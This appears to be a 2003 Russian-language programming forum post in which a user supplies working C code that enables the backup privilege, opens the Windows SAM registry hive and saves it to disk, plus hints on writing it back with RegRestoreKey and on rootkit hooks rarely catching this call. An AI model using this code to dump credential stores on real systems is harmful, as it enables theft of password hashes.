Легенда:
новое сообщение
закрытая нитка
новое сообщение
в закрытой нитке
старое сообщение
|
- Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
- Новичкам также крайне полезно ознакомиться с данным документом.
А для физического доступа права не нужны? 09.01.03 23:09 Число просмотров: 1392
Автор: amirul <Serge> Статус: The Elderman
|
Вообще-то те сырцы о которых я говорил работали с обычными RegOpenKeyEx и т.д. предварительно настроив все права. Но если это не подходит, то вот еще вариант (набросал только что):
#include <windows.h>
#include <stdio.h>
int
main() {
HANDLE hToken = INVALID_HANDLE_VALUE;
char buffer[sizeof(TOKEN_PRIVILEGES) + sizeof(LUID_AND_ATTRIBUTES)];
HKEY hKey = INVALID_HANDLE_VALUE;
PTOKEN_PRIVILEGES pPriv = (PTOKEN_PRIVILEGES)buffer;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
goto fail;
pPriv->PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_BACKUP_NAME, &pPriv->Privileges[0].Luid);
pPriv->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, pPriv, 0, NULL, NULL))
goto fail;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SAM", 0, KEY_READ, &hKey))
goto fail;
if (RegSaveKey(hKey, "C:\\sam", NULL))
goto fail;
printf("Voila!!!\n");
return 0;
fail:
printf("Error occured :-(((\n");
return -1;
}
Только что из MsDev-а - выдает "Voila". Сохраняет в формате хайва (если вдруг нужна спецификация - могу подкинуть).
Если вдруг надо писать, а не читать, то можно глянуть на RegRestoreKey с флагом REG_FORCE_RESTORE.
Если дело в руткитах, то отловить эту функцию сложнее, чем обычные реестровые апишки и насколько мне известно никто этого пока не делает. И если уж на то пошло, то перехватить можно и прямое чтение с винта, но кому оно надо.
Если же опять не то. Просьба, сформулировать задачу, может ее все-таки можно решить без лишнего усложнения. Кстати, самому интересно: вот впервые в жизни использовал RegSaveKey :-))) Мало ли чего я еще узнаю по ходу дела.
|
- 2 z0 - ZaDNiCa 08.01.03 17:06 [790]
|
|
|